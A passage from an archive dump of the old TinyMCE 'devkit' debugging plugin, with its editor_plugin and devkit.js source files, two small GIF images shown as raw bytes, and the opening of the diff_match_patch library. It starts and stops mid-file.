tinyMCE.instances){inst=tinyMCE.instances[n];if(!tinyMCE.isInstance(inst)||inst.getDoc()==ld)continue;ld=inst.getDoc();for(i=0;i<ev.length;i++){if(s)tinyMCE.addEvent(ld,ev[i],TinyMCE_DevKitPlugin._debugEvent);else tinyMCE.removeEvent(ld,ev[i],TinyMCE_DevKitPlugin._debugEvent)}}},_debugEvent:function(e){var t;e=e?e:tinyMCE.selectedInstance.getWin().event;t=e.srcElement?e.srcElement:e.target;tinyMCE.debug(e.type,t?t.nodeName:'')},_serialize:function(o){var i,v,s=TinyMCE_DevKitPlugin._serialize;if(o==null)return'null';switch(typeof o){case'string':v='\bb\tt\nn\ff\rr\""\'\'\\\\';return'"'+o.replace(new RegExp('([\u0080-\uFFFF\\x00-\\x1f\\"])','g'),function(a,b){i=v.indexOf(b);if(i+1)return'\\'+v.charAt(i+1);a=b.charCodeAt().toString(16);return'\\u'+'0000'.substring(a.length)+a})+'"';case'object':if(o instanceof Array){for(i=0,v='[';i<o.length;i++)v+=(i>0?',':'')+s(o[i]);return v+']'}v='{';for(i in o)v+=typeof o[i]!='function'?(v.length>1?',"':'"')+i+'":'+s(o[i]):'';return v+'}'}return''+o}};tinyMCE.__debug=tinyMCE.debug;tinyMCE.debug=function(){var a,i,m='',now=new Date().getTime(),start=TinyMCE_DevKitPlugin._startTime;if(!start)TinyMCE_DevKitPlugin._startTime=start=now;a=this.debug.arguments;for(i=0;i<a.length;i++){if(typeof(a[i])=='undefined')continue;if(i>0)m+=', ';m+=a[i]}TinyMCE_DevKitPlugin._log('debug',m)};tinyMCE.dump=function(o){tinyMCE.debug(TinyMCE_DevKitPlugin._serialize(o))};tinyMCE.sleep=function(t){var s=new Date().getTime(),b;while(new Date().getTime()-s<t)b=1};tinyMCE.__execCommand=tinyMCE.execCommand;tinyMCE.execCommand=function(command,user_interface,value){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('execCommand',command,user_interface,value);r=tinyMCE.__execCommand(command,user_interface,value);dk._end(st);return r};tinyMCE.__execInstanceCommand=tinyMCE.execInstanceCommand;tinyMCE.execInstanceCommand=function(editor_id,command,user_interface,value,focus){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('execInstanceCommand',editor_id,command,user_interface,value);r=tinyMCE.__execInstanceCommand(editor_id,command,user_interface,value);dk._end(st);return r};TinyMCE_Engine.prototype.__handleEvent=TinyMCE_Engine.prototype.handleEvent;TinyMCE_Engine.prototype.handleEvent=function(e){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('handleEvent',e.type);r=tinyMCE.__handleEvent(e);dk._end(st);return r};tinyMCE.__importCSS=tinyMCE.importCSS;tinyMCE.importCSS=function(doc,css){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('importCSS',doc,css);r=tinyMCE.__importCSS(doc,css);dk._end(st);return r};tinyMCE.__triggerNodeChange=tinyMCE.triggerNodeChange;tinyMCE.triggerNodeChange=function(focus,setup_content){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('triggerNodeChange',focus,setup_content);r=tinyMCE.__triggerNodeChange(focus,setup_content);dk._end(st);return r};tinyMCE.__dispatchCallback=tinyMCE.dispatchCallback;tinyMCE.dispatchCallback=function(i,p,n){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('dispatchCallback',i,p,n);r=tinyMCE.__dispatchCallback(i,p,n);dk._end(st);return r};tinyMCE.__executeCallback=tinyMCE.executeCallback;tinyMCE.executeCallback=function(i,p,n){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('executeCallback',i,p,n);r=tinyMCE.__executeCallback(i,p,n);dk._end(st);return r};tinyMCE.__execCommandCallback=tinyMCE.execCommandCallback;tinyMCE.execCommandCallback=function(i,p,n){var r,st,dk=TinyMCE_DevKitPlugin;st=dk._start();dk._log('execCommandCallback',i,p,n);r=tinyMCE.__execCommandCallback(i,p,n);dk._end(st);return r};tinyMCE.addPlugin("devkit",TinyMCE_DevKitPlugin); plugins/devkit/editor_plugin_src.js 0000666 00000021427 15155066653 0013612 0 ustar 00 /** * $Id: editor_plugin_src.js 42 2006-08-08 14:32:24Z spocke $ * * @author Moxiecode * @copyright Copyright 2004-2007, Moxiecode Systems AB, All rights reserved. */ tinyMCE.importPluginLanguagePack('devkit'); var TinyMCE_DevKitPlugin = { _logFilter : '\\[(importCSS|execCommand|execInstanceCommand|debug)\\]', _logPadding : '', _startTime : null, _benchMark : false, _winLoaded : false, _isDebugEvents : false, getInfo : function() { return { longname : 'Development Kit', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/devkit', version : tinyMCE.majorVersion + "." + tinyMCE.minorVersion }; }, initInstance : function(inst) { this._setup(); }, _setup : function() { if (this._loaded) return; this._loaded = true; // Register a document reference for more easy access in the FF DOM inspector document.___TinyMCE = tinyMCE; // Setup devkit by settings this._logFilter = tinyMCE.getParam('devkit_log_filter', this._logFilter); this._benchMark = tinyMCE.getParam('devkit_bench_mark', false); var ifr = document.createElement('iframe'); ifr.setAttribute("id", "devkit"); ifr.setAttribute("frameBorder", "0"); ifr.setAttribute("src", tinyMCE.baseURL + '/plugins/devkit/devkit.htm'); document.body.appendChild(ifr); // Workaround for strange IE reload bug //if (tinyMCE.isRealIE) // document.getElementById('devkit').outerHTML = document.getElementById('devkit').outerHTML; tinyMCE.importCSS(document, tinyMCE.baseURL + '/plugins/devkit/css/devkit_ui.css'); }, _start : function() { this._logPadding += '\u00a0'; return new Date().getTime(); }, _end : function(st) { if (this._logPadding.length > 0) this._logPadding = this._logPadding.substring(0, this._logPadding.length - 1); if (this._benchMark) this._log("benchmark", "Execution time: " + (new Date().getTime() - st)); }, _log : function(t) { var m, a, i, e = document.getElementById('devkit'), now = new Date().getTime(); if (!this._startTime) this._startTime = now; m = (this._logPadding.length > 1 ? this._logPadding : '') + '[' + (now - this._startTime) + '] [' + t + '] '; a = this._log.arguments; for (i=1; i<a.length; i++) { if (typeof(a[i]) == 'undefined') continue; if (i > 1) m += ', '; m += a[i]; } if (!new RegExp(this._logFilter, 'gi').test(m)) { if (this._logPadding.length > 0) this._logPadding = this._logPadding.substring(0, this._logPadding.length - 1); return; } if (!this._winLoaded) tinyMCE.log[tinyMCE.log.length] = m; else e.contentWindow.debug(m); }, _debugEvents : function(s) { var i, ld, inst, n, ev = ['CheckboxStateChange','DOMAttrModified','DOMMenuItemActive', 'DOMMenuItemInactive','DOMMouseScroll','DOMNodeInserted','DOMNodeRemoved', 'RadioStateChange','blur','broadcast','change','click','close','command', 'commandupdate','contextmenu','dblclick','dragdrop','dragenter','dragexit', 'draggesture','dragover','focus','input','keydown','keypress','keyup','load', 'mousedown','mouseout','mouseover','mouseup','overflow','overflowchanged','popuphidden', 'popuphiding','popupshowing','popupshown','select','syncfrompreference','synctopreference', 'underflow','unload','abort','activate','afterprint','afterupdate','beforeactivate', 'beforecopy','beforecut','beforedeactivate','beforeeditfocus','beforepaste','beforeprint', 'beforeunload','beforeupdate','bounce','cellchange','controlselect','copy','cut', 'dataavailable','datasetchanged','datasetcomplete','deactivate','dragend','dragleave', 'dragstart','drop','error','errorupdate','filterchange','finish','focusin','focusout', 'help','layoutcomplete','losecapture','mouseenter','mouseleave','mousewheel', 'move','moveend','movestart','paste','propertychange','readystatechange','reset','resize', 'resizeend','resizestart','rowenter','rowexit','rowsdelete','rowsinserted','scroll', 'selectionchange','selectstart','start','stop','submit']; // mousemove if (TinyMCE_DevKitPlugin._isDebugEvents == s) return; TinyMCE_DevKitPlugin._isDebugEvents = s; for (n in tinyMCE.instances) { inst = tinyMCE.instances[n]; if (!tinyMCE.isInstance(inst) || inst.getDoc() == ld) continue; ld = inst.getDoc(); for (i=0; i<ev.length; i++) { if (s) tinyMCE.addEvent(ld, ev[i], TinyMCE_DevKitPlugin._debugEvent); else tinyMCE.removeEvent(ld, ev[i], TinyMCE_DevKitPlugin._debugEvent); } } }, _debugEvent : function(e) { var t; e = e ? e : tinyMCE.selectedInstance.getWin().event; t = e.srcElement ? e.srcElement : e.target; tinyMCE.debug(e.type, t ? t.nodeName : ''); }, _serialize : function(o) { var i, v, s = TinyMCE_DevKitPlugin._serialize; if (o == null) return 'null'; switch (typeof o) { case 'string': v = '\bb\tt\nn\ff\rr\""\'\'\\\\'; return '"' + o.replace(new RegExp('([\u0080-\uFFFF\\x00-\\x1f\\"])', 'g'), function(a, b) { i = v.indexOf(b); if (i+1) return '\\' + v.charAt(i + 1); a = b.charCodeAt().toString(16); return '\\u' + '0000'.substring(a.length) + a; }) + '"'; case 'object': if (o instanceof Array) { for (i=0, v = '['; i<o.length; i++) v += (i > 0 ? ',' : '') + s(o[i]); return v + ']'; } v = '{'; for (i in o) v += typeof o[i] != 'function' ? (v.length > 1 ? ',"' : '"') + i + '":' + s(o[i]) : ''; return v + '}'; } return '' + o; } }; // Patch and piggy back functions tinyMCE.__debug = tinyMCE.debug; tinyMCE.debug = function() { var a, i, m = '', now = new Date().getTime(), start = TinyMCE_DevKitPlugin._startTime; if (!start) TinyMCE_DevKitPlugin._startTime = start = now; a = this.debug.arguments; for (i=0; i<a.length; i++) { if (typeof(a[i]) == 'undefined') continue; if (i > 0) m += ', '; m += a[i]; } TinyMCE_DevKitPlugin._log('debug', m); }; tinyMCE.dump = function(o) { tinyMCE.debug(TinyMCE_DevKitPlugin._serialize(o)); }; tinyMCE.sleep = function(t) { var s = new Date().getTime(), b; while (new Date().getTime() - s < t) b=1; }; tinyMCE.__execCommand = tinyMCE.execCommand; tinyMCE.execCommand = function(command, user_interface, value) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('execCommand', command, user_interface, value); r = tinyMCE.__execCommand(command, user_interface, value); dk._end(st); return r; }; tinyMCE.__execInstanceCommand = tinyMCE.execInstanceCommand; tinyMCE.execInstanceCommand = function(editor_id, command, user_interface, value, focus) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('execInstanceCommand', editor_id, command, user_interface, value); r = tinyMCE.__execInstanceCommand(editor_id, command, user_interface, value); dk._end(st); return r; }; TinyMCE_Engine.prototype.__handleEvent = TinyMCE_Engine.prototype.handleEvent; TinyMCE_Engine.prototype.handleEvent = function(e) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('handleEvent', e.type); r = tinyMCE.__handleEvent(e); dk._end(st); return r; }; tinyMCE.__importCSS = tinyMCE.importCSS; tinyMCE.importCSS = function(doc, css) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('importCSS', doc, css); r = tinyMCE.__importCSS(doc, css); dk._end(st); return r; }; tinyMCE.__triggerNodeChange = tinyMCE.triggerNodeChange; tinyMCE.triggerNodeChange = function(focus, setup_content) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('triggerNodeChange', focus, setup_content); r = tinyMCE.__triggerNodeChange(focus, setup_content); dk._end(st); return r; }; tinyMCE.__dispatchCallback = tinyMCE.dispatchCallback; tinyMCE.dispatchCallback = function(i, p, n) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('dispatchCallback', i, p, n); r = tinyMCE.__dispatchCallback(i, p, n); dk._end(st); return r; }; tinyMCE.__executeCallback = tinyMCE.executeCallback; tinyMCE.executeCallback = function(i, p, n) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('executeCallback', i, p, n); r = tinyMCE.__executeCallback(i, p, n); dk._end(st); return r; }; tinyMCE.__execCommandCallback = tinyMCE.execCommandCallback; tinyMCE.execCommandCallback = function(i, p, n) { var r, st, dk = TinyMCE_DevKitPlugin; st = dk._start(); dk._log('execCommandCallback', i, p, n); r = tinyMCE.__execCommandCallback(i, p, n); dk._end(st); return r; }; tinyMCE.addPlugin("devkit", TinyMCE_DevKitPlugin); plugins/devkit/images/flip_down.gif 0000666 00000000263 15155066653 0013451 0 ustar 00 GIF89a2 ???___TTTjjjü , 2 8Ҍdihp,tm}O:[.X "-0TΌHUZy" ; plugins/devkit/images/flip_up.gif 0000666 00000000301 15155066653 0013117 0 ustar 00 GIF89a2 ooopppBBBcccYYYdddXXXƿ , 2 F@dihp,o0x<@Zb1_py 2h]جV|vahq X ; plugins/devkit/jscripts/devkit.js 0000666 00000033354 15155066653 0013230 0 ustar 00 var devkit = parent.tinyMCE.plugins['devkit'], logEnabled = true, flip = false, book = null; function init() { var log, i, f = document.forms[0]; devkit._winLoaded = true; log = tinyMCE.log; for (i=0; i<log.length; i++) debug(log[i]); f.logfilter.value = devkit._logFilter; } function changeFilter(f) { devkit._logFilter = f; } function toggleLog(s) { logEnabled = s; } function toggleFlip() { document.getElementById('flipbtn').src = flip ? 'images/flip_down.gif' : 'images/flip_up.gif'; if (flip) parent.document.getElementById('devkit').className = 'devkitup'; else parent.document.getElementById('devkit').className = 'devkitdown'; flip = !flip; } function debug(s) { var d, l, n; if (!logEnabled || !new RegExp(devkit._logFilter, 'gi').test(s)) return; d = document; l = d.getElementById('log'); n = d.createElement('span'); n.innerHTML = tinyMCE.xmlEncode(s); l.appendChild(n); l.scrollTop = l.scrollHeight; } function renderInfo() { var se = document.getElementById('info'), n, sn, inst, h = '', sel, rng, instCount = 0, rc; h += '<h2>Browser info:</h2>'; h += '<table border="0" cellpadding="0" cellspacing="0" class="data">'; h += addRenderInfo('navigator.userAgent', navigator.userAgent); h += addRenderInfo('navigator.appName', navigator.appName); h += addRenderInfo('navigator.platform', navigator.platform); h += addRenderInfo('navigator.language', navigator.language, 'bspec'); h += addRenderInfo('navigator.browserLanguage', navigator.browserLanguage, 'bspec'); h += addRenderInfo('navigator.systemLanguage', navigator.systemLanguage, 'bspec'); h += addRenderInfo('navigator.userLanguage', navigator.userLanguage, 'bspec'); h += addRenderInfo('opera.buildNumber("inconspicuous")', typeof(opera) != 'undefined' && opera.buildNumber ? opera.buildNumber('inconspicuous') : null, 'bspec'); h += addRenderInfo('window.innerWidth', parent.window.innerWidth, 'bspec'); h += addRenderInfo('window.innerHeight', parent.window.innerHeight, 'bspec'); h += addRenderInfo('document.body.offsetWidth', parent.document.body.offsetWidth); h += addRenderInfo('document.body.offsetHeight', parent.document.body.offsetHeight); h += addRenderInfo('screen.width', screen.width); h += addRenderInfo('screen.height', screen.height); h += addRenderInfo('screen.availWidth', screen.availWidth); h += addRenderInfo('screen.availHeight', screen.availHeight); h += addRenderInfo('screen.colorDepth', screen.colorDepth); h += addRenderInfo('screen.pixelDepth', screen.pixelDepth, 'bspec'); h += addRenderInfo('document.contentType', document.contentType, 'bspec'); h += '</table>'; h += '<h2>TinyMCE_Engine info:</h2>'; h += '<table border="0" cellpadding="0" cellspacing="0" class="data">'; h += addRenderInfo('baseURL', tinyMCE.baseURL); h += addRenderInfo('selectedInstance.editorId', tinyMCE.selectedInstance ? tinyMCE.selectedInstance.editorId : null); h += addRenderInfo('selectedElement.nodeName', tinyMCE.selectedElement ? tinyMCE.selectedElement.nodeName : null, 'dep'); h += addRenderInfo('loadedFiles',tinyMCE.loadedFiles.join(',')); h += addRenderInfo('isMSIE', tinyMCE.isMSIE); h += addRenderInfo('isMSIE5', tinyMCE.isMSIE5); h += addRenderInfo('isMSIE5_0', tinyMCE.isMSIE5_0); h += addRenderInfo('isMSIE7', tinyMCE.isMSIE7); h += addRenderInfo('isGecko', tinyMCE.isGecko); h += addRenderInfo('isSafari', tinyMCE.isSafari); h += addRenderInfo('isOpera', tinyMCE.isOpera); h += addRenderInfo('isMac', tinyMCE.isMac); h += addRenderInfo('isNS7', tinyMCE.isNS7); h += addRenderInfo('isNS71', tinyMCE.isNS71); h += addRenderInfo('idCounter', tinyMCE.idCounter); h += addRenderInfo('currentConfig', tinyMCE.currentConfig); h += addRenderInfo('majorVersion', tinyMCE.majorVersion); h += addRenderInfo('minorVersion', tinyMCE.minorVersion); h += addRenderInfo('releaseDate', tinyMCE.releaseDate); h += addRenderInfo('documentBasePath', tinyMCE.documentBasePath); h += addRenderInfo('documentURL', tinyMCE.documentURL); h += '</table>'; for (n in tinyMCE.instances) { inst = tinyMCE.instances[n]; if (!tinyMCE.isInstance(inst)) continue; sel = inst.selection.getSel(); rng = inst.selection.getRng(); h += '<h2>TinyMCE_Control(' + (instCount++) + ') id: ' + inst.editorId + '</h2>'; h += '<table border="0" cellpadding="0" cellspacing="0" class="data">'; h += addRenderInfo('editorId', inst.editorId); h += addRenderInfo('visualAid', inst.visualAid); h += addRenderInfo('foreColor', inst.foreColor); h += addRenderInfo('backColor', inst.backColor); h += addRenderInfo('formTargetElementId', inst.formTargetElementId); h += addRenderInfo('formElement', inst.formElement ? inst.formElement.nodeName : null); h += addRenderInfo('oldTargetElement', inst.oldTargetElement ? inst.oldTargetElement.nodeName : null); h += addRenderInfo('linkElement', inst.linkElement ? inst.linkElement.nodeName : null, 'dep'); h += addRenderInfo('imgElement', inst.imgElement ? inst.imgElement.nodeName : null, 'dep'); h += addRenderInfo('selectedNode', inst.selectedNode ? inst.selectedNode.nodeName : null, 'dep'); h += addRenderInfo('targetElement', inst.targetElement ? inst.targetElement.nodeName : null); h += addRenderInfo('getBody().nodeName', inst.getBody() ? inst.getBody().nodeName : null); h += addRenderInfo('getBody().getAttribute("id")', inst.getBody() ? inst.getBody().getAttribute("id") : null); h += addRenderInfo('getDoc().location', inst.getDoc() ? inst.getDoc().location : null); h += addRenderInfo('startContent', inst.startContent); h += addRenderInfo('isHidden()', inst.isHidden()); h += addRenderInfo('isDirty()', inst.isDirty()); h += addRenderInfo('undoRedo.undoLevels.length', inst.undoRedo.undoLevels.length); h += addRenderInfo('undoRedo.undoIndex', inst.undoRedo.undoIndex); h += addRenderInfo('selection.getSelectedHTML()', inst.selection.getSelectedHTML()); h += addRenderInfo('selection.isCollapsed()', inst.selection.isCollapsed() || 'false'); h += addRenderInfo('selection.getSelectedText()', inst.selection.getSelectedText()); h += addRenderInfo('selection.getFocusElement().nodeName', inst.selection.getFocusElement().nodeName); h += addRenderInfo('selection.getFocusElement().outerHTML', tinyMCE.getOuterHTML(inst.selection.getFocusElement())); if ((tinyMCE.isGecko || tinyMCE.isOpera) && sel && rng) { h += addRenderInfo('selection.getSel().anchorNode.nodeName', sel.anchorNode ? sel.anchorNode.nodeName : null, 'bspec'); h += addRenderInfo('selection.getSel().anchorOffset', sel.anchorOffset, 'bspec'); h += addRenderInfo('selection.getSel().focusNode.nodeName', sel.focusNode ? sel.focusNode.nodeName : null, 'bspec'); h += addRenderInfo('selection.getSel().focusOffset', sel.focusOffset, 'bspec'); h += addRenderInfo('selection.getRng().startContainer.nodeName', rng.startContainer ? rng.startContainer.nodeName : null, 'bspec'); h += addRenderInfo('selection.getRng().startOffset', rng.startOffset, 'bspec'); h += addRenderInfo('selection.getRng().endContainer.nodeName', rng.endContainer ? rng.endContainer.nodeName : null, 'bspec'); h += addRenderInfo('selection.getRng().endOffset', rng.endOffset, 'bspec'); } if (typeof(rng.item) != 'undefined' || typeof(rng.htmlText) != 'undefined') { if (!rng.item) { h += addRenderInfo('selection.getSel().type', sel.type, 'bspec'); h += addRenderInfo('selection.getRng().htmlText', rng.htmlText, 'bspec'); h += addRenderInfo('selection.getRng().text', rng.text, 'bspec'); } else h += addRenderInfo('selection.getRng().item(0).nodeName', rng.item(0).nodeName, 'bspec'); } h += '</table>'; } h += '<p>Fields marked in <strong class="bspec">gray</strong> is not cross browser and should be used with care.</p>'; h += '<p>Fields marked <strong class="dep">red</strong> are marked deprecated and will be removed in the future.</p><br />'; se.innerHTML = h; } function addRenderInfo(n, v, c) { return '<tr><td' + (c ? ' class="' + c + '"' : '')+ '>' + n + '</td><td><input type="text" value="' + tinyMCE.xmlEncode(v != null ? ('' + v).replace(/[\r\n]/g, '') : 'null') + '" /></td></tr>'; } function renderSettings() { var se = document.getElementById('settings'), n, sn, inst, h = '', v; for (n in tinyMCE.instances) { inst = tinyMCE.instances[n]; if (!tinyMCE.isInstance(inst)) continue; h += '<h2>Instance id: ' + inst.editorId + '</h2>'; h += '<table border="0" cellpadding="0" cellspacing="0" class="data">'; for (sn in inst.settings) { v = inst.settings[sn]; h += '<tr><td class="col1">' + tinyMCE.xmlEncode(sn) + '</td><td><input type="text" value="' + tinyMCE.xmlEncode(v) + '" /></td></tr>'; } h += '</table>'; } se.innerHTML = h; } function renderContent() { var se = document.getElementById('content'), n, inst, h = ''; for (n in tinyMCE.instances) { inst = tinyMCE.instances[n]; if (!tinyMCE.isInstance(inst)) continue; h += '<h2>Instance id: ' + inst.editorId + '</h2>'; h += '<h3>Start content - inst.startContent:</h3>'; h += '<div>' + tinyMCE.xmlEncode(inst.startContent) + '</div>'; h += '<h3>Raw content - inst.getBody().innerHTML or inst.getHTML(true):</h3>'; h += '<div>' + tinyMCE.xmlEncode(inst.getHTML(true)) + '</div>'; h += '<h3>Cleaned content - inst.getHTML():</h3>'; h += '<div>' + tinyMCE.xmlEncode(inst.getHTML()) + '</div>'; if (inst.serializedHTML) { h += '<h3>Serialized HTML content - inst.serializedHTML:</h3>'; h += '<div>' + tinyMCE.xmlEncode(inst.serializedHTML) + '</div>'; } } se.innerHTML = h; } function renderCommandStates() { var se = document.getElementById('command_states'), n, inst, h = '', v, ex; var cmds = new Array('2D-Position','AbsolutePosition','BackColor','BlockDirLTR','BlockDirRTL','Bold','BrowseMode','Copy','CreateBookmark','CreateLink','Cut','Delete','DirLTR','DirRTL','EditMode','enableInlineTableEditing','enableObjectResizing','FontName','FontSize','ForeColor','FormatBlock','Indent','InsertButton','InsertFieldset','InsertHorizontalRule','InsertIFrame','InsertImage','InsertInputButton','InsertInputCheckbox','InsertInputFileUpload','InsertInputHidden','InsertInputImage','InsertInputPassword','InsertInputRadio','InsertInputReset','InsertInputSubmit','InsertInputText','InsertMarquee','InsertOrderedList','InsertParagraph','InsertSelectDropdown','InsertSelectListbox','InsertTextArea','InsertUnorderedList','Italic','JustifyCenter','JustifyFull','JustifyLeft','JustifyNone','JustifyRight','LiveResize','MultipleSelection','Open','Outdent','OverWrite','Paste','PlayImage','Redo','Refresh','RemoveFormat','SaveAs','SelectAll','SizeToControl','SizeToControlHeight','SizeToControlWidth','Stop','StopImage','StrikeThrough','styleWithCSS','Subscript','Superscript','UnBookmark','Underline','Undo','Unlink','Unselect'), i; for (n in tinyMCE.instances) { inst = tinyMCE.instances[n]; if (!tinyMCE.isInstance(inst)) continue; h += '<h2>Instance id: ' + inst.editorId + '</h2>'; h += '<table border="0" cellpadding="0" cellspacing="0" class="data">'; for (i=0; i<cmds.length; i++) { v = null; try { v = tinyMCE.isGecko || inst.getDoc().queryCommandSupported(cmds[i]); v = v ? inst.queryCommandState(cmds[i]) : 'Not supported'; } catch (ex) { v = 'Not supported'; } h += '<tr><td><input type="text" value="' + tinyMCE.xmlEncode(cmds[i]) + '" /></td><td><input type="text" value="' + tinyMCE.xmlEncode(v) + '" /></td></tr>'; } h += '</table>'; } se.innerHTML = h; } function renderUndoRedo() { var se = document.getElementById('undo_redo'), inst, n, h = '', i, le, id, d, ur; var f = document.forms[0]; if (tinyMCE.undoLevels) { le = tinyMCE.undoLevels; h += '<h2>Global undo/redo</h2>'; h += '<table border="0" cellpadding="0" cellspacing="0" width="50%" class="data">'; h += '<tr><td>undoLevels.length</td><td>' + le.length + '</td></tr>'; h += '<tr><td>undoIndex</td><td>' + tinyMCE.undoIndex + '</td></tr>'; h += '</table>'; for (i=0; i<le.length; i++) h += '<h3>Level: ' + i + ', Instance: ' + (le[i] ? le[i].editorId : 'null') + '</h3>'; } for (n in tinyMCE.instances) { inst = tinyMCE.instances[n]; if (!tinyMCE.isInstance(inst)) continue; ur = inst.undoRedo; le = ur.undoLevels; h += '<hr /><h2>Instance id: ' + inst.editorId + '</h2>'; h += '<table border="0" cellpadding="0" cellspacing="0" width="50%" class="data">'; h += '<tr><td>undoLevels.length</td><td>' + le.length + '</td></tr>'; h += '<tr><td>undoIndex</td><td>' + ur.undoIndex + '</td></tr>'; h += '<tr><td>typingUndoIndex</td><td>' + ur.typingUndoIndex + '</td></tr>'; h += '<tr><td>undoRedo</td><td>' + ur.undoRedo + '</td></tr>'; h += '</table>'; for (i=0; i<le.length; i++) { h += '<h3>Level: ' + i + (!le[i].bookmark ? "" : " [bookmark]") + '</h3>'; h += '<div class="undodata">' + tinyMCE.xmlEncode(le[i].content) + '</div>'; if (i > 0 && f.undo_diff.checked) { d = diff_main(i > 0 ? le[i-1].content.replace(/[\r\n]+/g, '') : null, le[i].content.replace(/[\r\n]+/g, ''), false); diff_cleanup_semantic(d); h += '<h3>Diff ' + (i-1) + ',' + i + '</h3><div class="undodata">' + diff_prettyhtml(d) + '</div>'; } } } se.innerHTML = h; } function clearLog() { document.getElementById('log').innerHTML = ''; devkit._startTime = null; } function cancelAction() { parent.document.getElementById('devkit').style.display = 'none'; } function toggleDebugEvents(s) { devkit._debugEvents(s); } function storeSelection() { book = tinyMCE.selectedInstance.selection.getBookmark(); return false; } function restoreSelection() { tinyMCE.selectedInstance.selection.moveToBookmark(book); return false; } plugins/devkit/jscripts/diff.js 0000666 00000124462 15155066653 0012653 0 ustar 00 // Diff_Match_Patch v1.3 // Computes the difference between two texts to create a patch. // Applies the patch onto another text, allowing for errors. // Copyright (C) 2006 Neil Fraser // http://neil.fraser.name/software/diff_match_patch/ // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License (www.gnu.org) for more details. // Constants. // Redefine these in your program to override the defaults. // Number of seconds to map a diff before giving up. (0 for infinity) var DIFF_TIMEOUT = 1.0; // Cost of an empty edit operation in terms of edit characters. var DIFF_EDIT_COST = 4; // Tweak the relative importance (0.0 = accuracy, 1.0 = proximity) var MATCH_BALANCE = 0.5; // At what point is no match declared (0.0 = perfection, 1.0 = very loose) var MATCH_THRESHOLD = 0.5; // The min and max cutoffs used when computing text lengths. var MATCH_MINLENGTH = 100; var MATCH_MAXLENGTH = 1000; // Chunk size for context length. var PATCH_MARGIN = 4; ////////////////////////////////////////////////////////////////////// // Diff // ////////////////////////////////////////////////////////////////////// // The data structure representing a diff is an array of tuples: // [[-1, "Hello"], [1, "Goodbye"], [0, " world."]] // which means: delete "Hello", add "Goodbye" and keep " world." function diff_main(text1, text2, checklines) { // Find the differences between two texts. Return an array of changes. // If checklines is present and false, then don't run a line-level diff first to identify the changed areas. // Check for equality (speedup) if (text1 == text2) return [[0, text1]]; if (typeof checklines == 'undefined') checklines = true; var a; // Trim off common prefix (speedup) a = diff_prefix(text1, text2); text1 = a[0]; text2 = a[1]; var commonprefix = a[2]; // Trim off common suffix (speedup) a = diff_suffix(text1, text2); text1 = a[0]; text2 = a[1]; var commonsuffix = a[2]; var diff, i; var longtext = text1.length > text2.length ? text1 : text2; var shorttext = text1.length > text2.length ? text2 : text1; if (!text1) { // Just add some text (speedup) diff = [[1, text2]]; } else if (!text2) { // Just delete some text (speedup) diff = [[-1, text1]]; } else if ((i = longtext.indexOf(shorttext)) != -1) { // Shorter text is inside the longer text (speedup) diff = [[1, longtext.substring(0, i)], [0, shorttext], [1, longtext.substring(i+shorttext.length)]]; // Swap insertions for deletions if diff is reversed. if (text1.length > text2.length) diff[0][0] = diff[2][0] = -1; } else { longtext = shorttext = null; // Garbage collect // Check to see if the problem can be split in two. var hm = diff_halfmatch(text1, text2); if (hm) { // A half-match was found, sort out the return data. var text1_a = hm[0]; var text1_b = hm[1]; var text2_a = hm[2]; var text2_b = hm[3]; var mid_common = hm[4]; // Send both pairs off for separate processing. var diff_a = diff_main(text1_a, text2_a, checklines); var diff_b = diff_main(text1_b, text2_b, checklines); // Merge the results. diff = diff_a.concat([[0, mid_common]], diff_b); } else { // Perform a real diff. if (checklines && text1.length + text2.length < 250) checklines = false; // Too trivial for the overhead. if (checklines) { // Scan the text on a line-by-line basis first. a = diff_lines2chars(text1, text2); text1 = a[0]; text2 = a[1]; var linearray = a[2]; } diff = diff_map(text1, text2); if (!diff) // No acceptable result. diff = [[-1, text1], [1, text2]]; if (checklines) { diff_chars2lines(diff, linearray); // Convert the diff back to original text. diff_cleanup_semantic(diff); // Eliminate freak matches (e.g. blank lines) // Rediff any replacement blocks, this time on character-by-character basis. diff.push([0, '']); // Add a dummy entry at the end. var pointer = 0; var count_delete = 0; var count_insert = 0; var text_delete = ''; var text_insert = ''; while(pointer < diff.length) { if (diff[pointer][0] == 1) { count_insert++; text_insert += diff[pointer][1]; } else if (diff[pointer][0] == -1) { count_delete++; text_delete += diff[pointer][1]; } else { // Upon reaching an equality, check for prior redundancies. if (count_delete >= 1 && count_insert >= 1) { // Delete the offending records and add the merged ones. a = diff_main(text_delete, text_insert, false); diff.splice(pointer - count_delete - count_insert, count_delete + count_insert); pointer = pointer - count_delete - count_insert; for (i=a.length-1; i>=0; i--) diff.splice(pointer, 0, a[i]); pointer = pointer + a.length; } count_insert = 0; count_delete = 0; text_delete = ''; text_insert = ''; } pointer++; } diff.pop(); // Remove the dummy entry at the end. } } } if (commonprefix) diff.unshift([0, commonprefix]); if (commonsuffix) diff.push([0, commonsuffix]); diff_cleanup_merge(diff); return diff; } function diff_lines2chars(text1, text2) { // Split text into an array of strings. // Reduce the texts to a string of hashes where each character represents one line. var linearray = new Array(); // linearray[4] == "Hello\n" var linehash = new Object(); // linehash["Hello\n"] == 4 // "\x00" is a valid JavaScript character, but the Venkman debugger doesn't like it (bug 335098) // So we'll insert a junk entry to avoid generating a null character. linearray.push(''); function 